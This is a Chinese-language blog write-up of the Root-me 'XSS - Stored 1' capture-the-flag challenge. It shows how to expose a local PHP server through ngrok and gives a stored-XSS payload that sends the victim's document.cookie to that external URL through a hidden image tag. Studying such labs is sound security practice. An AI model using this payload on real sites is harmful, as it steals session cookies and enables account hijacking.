[Root-me]XSS - Stored 1

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

Root-me网址：

https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

题目描述

Steal the administrator session cookie and use it to validate this chall.
窃取管理员会话cookie并使用它来验证这个挑战

---

这是一个存储型xss的题目，目的是获得管理员的cookie。

这里应该可以用xsspt.com(公共xss平台)获取管理员cookie。

我没有这样做，我get了一个新知识。

ngrok

这个工具我也不熟，下面如果有不对的地方，请斧正

ngrok应该利用了内网转发的功能。

先在https://dashboard.ngrok.com/signup注册一个账号

登录之后，如图

一共分四步:写的很详细：

1. 下载对应系统的安装包
2. 解压安装包
3. 使用./ngrop authtoken <your token>命令连接你的账号
4. 查看帮助信息

首先我们使用以下命令在kali上搭建一个简易的服务器

php -S localhost:9999

然后你先执行第三步的命令

./ngrop authtoken <your token>

然后再执行下条命令

./ngrok http 9999

红框中的网址即你外网的地址，这里应该是将这个地址映射到了kali本机的9999端口。
所以我们(在外网)访问这个地址就可以访问内网的kali了

有了url地址，开始做题了

构造payload：

<script>document.write('<img src="http://a76086d7.ngrok.io?cmd='+document.cookie+'" width=0 height=0 border=0 />');</script>

获取到了我自己的cookie

几分钟后获得管理员cookie。cookie即flag。

欢迎大家一起学习交流，共同进步，欢迎加入信息安全小白群